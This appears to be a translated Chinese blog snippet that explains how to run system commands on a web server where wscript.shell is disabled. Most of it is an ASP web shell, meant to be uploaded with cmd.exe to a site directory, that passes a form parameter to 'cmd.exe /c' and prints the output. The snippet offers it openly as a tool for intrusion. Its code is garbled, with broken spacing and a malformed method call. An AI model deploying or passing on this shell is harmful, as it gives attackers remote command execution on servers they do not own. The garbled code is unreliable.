If wscript.shellis closed, the command cannot be run by uploading cmd.exe to it. An error occurs during running.
To run the command, try the following method:
Copy the following code:
<Object runat = server id = oScriptlhn scope = page classid = "clsid: 72c24dd5-d70a-438b-8a42-98417b88afb8"> </object>
<% If err then %>
<Object runat = server id = oScriptlhn scope = page classid = "clsid: F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"> </object>
<%
End if
Response. write ("<textarea readonly cols = 80 rows = 20> ")
On Error Resume Next
Response. write oScriptlhn.exe c ("cmd.exe/c" & request ("c"). stdout. readall
Response. write ("</textarea> ")
Response. write ("<form method = post> ")
Response. write ("<input type = text name = c size = 60> <br> ")
Response. write ("<input type = submit value = Execution> </form> ")
%>
Save it as an ASP file and then upload it to the website directory. Try again and upload "cmd.exe" and write the path to the above Code.
Then you can run commands such as cacls.
If some code execution is restricted, the above method also reports an error.
Html> http://hi.baidu.com/xiaosei/blog/item/32c0c1946fbaee41d0135e9c.html